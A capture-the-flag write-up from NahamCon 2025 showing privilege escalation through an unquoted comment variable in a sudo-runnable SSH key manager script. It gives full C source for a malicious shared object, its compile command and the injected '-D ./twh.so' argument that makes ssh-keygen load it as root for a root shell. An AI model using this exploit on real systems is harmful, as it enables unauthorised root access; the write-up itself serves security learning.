misc

SSSH Writeup

Nahamcon 2025

Solved by thewhiteh4t

In this challenge we were given SSH access to an instance which contained a custom bash script which is a SSH key manager script. Running sudo -l reveals that our user can run the script as root without a password. This was a privilege escalation challenge.

Luckily the code of the script was readable. After reading it for some time one block looked interesting :

comment=$(gum input --placeholder "Enter comment for key (optional)" --prompt "Comment: ")

    if ! is_valid_input "$comment"; then
        gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid comment: Dangerous characters"
        return 1
    fi

    if [ -f ~/.ssh/"$key_name" ] || [ -f ~/.ssh/"$key_name.pub" ]; then
        if ! gum confirm "Key ~/.ssh/$key_name already exists. Overwrite?"; then
            return
        fi
        overwrite_flag="-y"
    else
        overwrite_flag=""
    fi

    mkdir -p ~/.ssh
    chmod 700 ~/.ssh

    if [ -n "$comment" ]; then
        error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
            ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
    else
        error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
            ssh-keygen $overwrite_flag -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
    fi

As you must have noticed all the inputs are quoted except one :

ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)

$comment is left unquoted so we can inject something here.

After a lot of hit and trials I finally realized that ssh-keygen offers a privesc vector. You can find more about it here :

GTFOBins

Since we can have control over comment argument option we can simply add more arguments, specifically -D so that we can execute our malicious shared object .so file.

But first I had to figure out how to create a malicious shared object file for ssh-keygen. My search led me to a fork of lib2shell which does exactly what I need. So I used the following code to compile the so file :

#include <stdio.h>
#include <unistd.h>

#define SHELL_PATH "/bin/sh"

void __attribute__ ((constructor)) constructor() {
    puts("[lib2shell by SeanP, modified by Jonas Heschl]");

    long long err = execl(SHELL_PATH, SHELL_PATH, "cp /root/flag.txt /home/user/flag.txt; chown user:user /home/user/flag.txt", NULL);
    printf("Result: %lld\n", err);
}

// ssh-keygen makes a rudimentary check when loading a library with `ssh-keygen -D`.
// If the check fails, loading is aborted. This function exists to make the check pass.
int C_GetFunctionList() {
    return 1;
}

Compiled it using :

gcc -fPIC -shared -o twh.so twh.c

and here is the value of comment I used :

a -D ./twh.so

First I managed to copy the flag from /root/flag.txt to /home/user/flag.txt but I did not get the flag!

So now the goal was to obtain a root shell. The problem was that a simple payload like /bin/bash -s was not working since the script uses gum which is a kind of wrapper that is used to create the TUI of the script, so the shell spawn was not usable due to messed up input output redirection.

Then I eventually landed on a fix for redirection, alternatively we can also use the bash reverse shell which most are familiar with

#include <stdio.h>
#include <unistd.h>

#define SHELL_PATH "/bin/sh"

void __attribute__ ((constructor)) constructor() {
    puts("[lib2shell by SeanP, modified by Jonas Heschl]");

    long long err = execl("/bin/bash", "bash", "-c", "bash < /dev/tty > /dev/tty 2>&1 &", NULL);
    printf("Result: %lld\n", err);
}

int C_GetFunctionList() {
    return 1;
}

Using the new so file I managed to get a root shell.

Then I saw why I did not get flag earlier, because we were supposed to run a binary to get the flag, this was done to increase the complexity of the challenge a bit.

Key Learning and Takeaways

  • Code Review : We had the script’s code, which is a blessing in CTFs. The key was to read through it slowly while understanding what each line is doing.
  • GTFOBins : When you find a command that can be run as root, your next stop should be GTFOBins. It’s an incredible resource that lists known ways to abuse common binaries for privilege escalation.
  • Crafting the Malicious Shared Object : This was the truly technical part! We needed a specific .so file that would execute a shell for us when loaded. Finding and adapting a lib2shell fork was fun.
Published on : 31 May 2025